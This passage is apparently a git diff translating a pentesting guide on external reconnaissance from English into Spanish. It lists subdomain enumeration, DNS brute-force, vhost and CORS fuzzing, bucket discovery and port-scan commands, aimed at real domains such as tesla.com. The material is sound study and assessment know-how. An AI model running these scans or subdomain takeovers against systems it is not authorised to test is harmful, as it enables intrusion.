IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **Otras maneras** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante asombroso. -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Revisa algunos [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ +&#xNAN;_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Subdominios -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Conocemos todas las empresas dentro del alcance, todos los activos de cada empresa y todos los dominios relacionados con las empresas. -It's time to find all the possible subdomains of each found domain. +Es hora de encontrar todos los posibles subdominios de cada dominio encontrado. > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> Ten en cuenta que algunas de las herramientas y técnicas para encontrar dominios también pueden ayudar a encontrar subdominios ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +La forma más rápida de obtener muchos subdominios es buscar en fuentes externas. Las **herramientas** más utilizadas son las siguientes (para mejores resultados, configura las claves de API): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +217,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Hay **otras herramientas/APIs interesantes** que, aunque no están directamente especializadas en encontrar subdominios, podrían ser útiles para encontrarlos, como: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utiliza la API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obtener subdominios ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**API gratuita de JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) API gratuita ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +298,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - - [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) tiene una API gratuita para buscar subdominios e historial de IP - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Este proyecto ofrece **gratis todos los subdominios relacionados con programas de recompensas por errores**. También puedes acceder a estos datos usando [chaospy](https://github.com/dr-0x0x/chaospy) o incluso acceder al alcance utilizado por este proyecto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **Fuerza bruta DNS** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio. -For this action you will need some **common subdomains wordlists like**: +Para esta acción necesitarás algunas **listas de palabras comunes de subdominios como**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +334,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +Las herramientas más recomendadas para fuerza bruta DNS son: +- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): También utiliza `massdns`. ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utiliza asyncio para forzar nombres de dominio de manera asíncrona. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### Segunda Ronda de Fuerza Bruta DNS -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza bruta, podrías generar alteraciones de los subdominios encontrados para intentar encontrar aún más. Varios herramientas son útiles para este propósito: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dadas las dominios y subdominios, genera permutaciones. ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones. +- Puedes obtener las permutaciones de goaltdns **wordlist** en [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator utilizará uno propio. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente). +- Puedes obtener permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): Otra herramienta para realizar permutaciones, mutaciones y alteraciones de subdominios. Esta herramienta forzará el resultado (no soporta comodines DNS). +- Puedes obtener la lista de palabras de permutaciones de dmut [**aquí**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basado en un dominio, **genera nuevos nombres de subdominios potenciales** basados en patrones indicados para intentar descubrir más subdominios. -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Generación de permutaciones inteligentes +- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS. ``` echo www | subzuf facebook.com ``` +### **Flujo de Trabajo de Descubrimiento de Subdominios** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / Hosts Virtuales** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Si encontraste una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con webs en esa IP** buscando en **fuentes OSINT** para dominios en una IP o **forzando nombres de dominio VHost en esa IP**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Puedes encontrar algunos **VHosts en IPs usando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **u otras APIs**. -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**Fuerza Bruta** +Si sospechas que algún subdominio puede estar oculto en un servidor web, podrías intentar forzarlo: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +434,196 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> Con esta técnica, incluso podrías acceder a endpoints internos/ocultos. ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **Fuerza Bruta de Buckets** -### **Buckets Brute Force** +Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/). -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **Monitorización** -### **Monitorization** +Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitoreando los **Registros de Transparencia de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)lo hace. -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **Buscando vulnerabilidades** -### **Looking for vulnerabilities** +Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/). -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). - -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ +&#xNAN;_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\ +Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).** -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +También puedes verificar dominios que apuntan a una dirección IP específica usando la herramienta [**hakip2host**](https://github.com/hakluke/hakip2host) -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**Escanea todos los puertos de las IPs que no pertenecen a CDNs** (ya que probablemente no encontrarás nada interesante allí). En los servicios en ejecución descubiertos podrías **encontrar vulnerabilidades**. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.** -## Web servers hunting +## Caza de servidores web -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que puede que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance). +Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/#http-port-discovery).\ +Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Adicionalmente, puedes indicar que intente otros puertos: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **Capturas de pantalla** -### **Screenshots** +Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**. -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no. -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## Activos de Nube Pública -## Public Cloud Assets +Para encontrar activos en la nube potenciales pertenecientes a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`. -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Luego, con esas palabras deberías generar **permutaciones** (consulta el 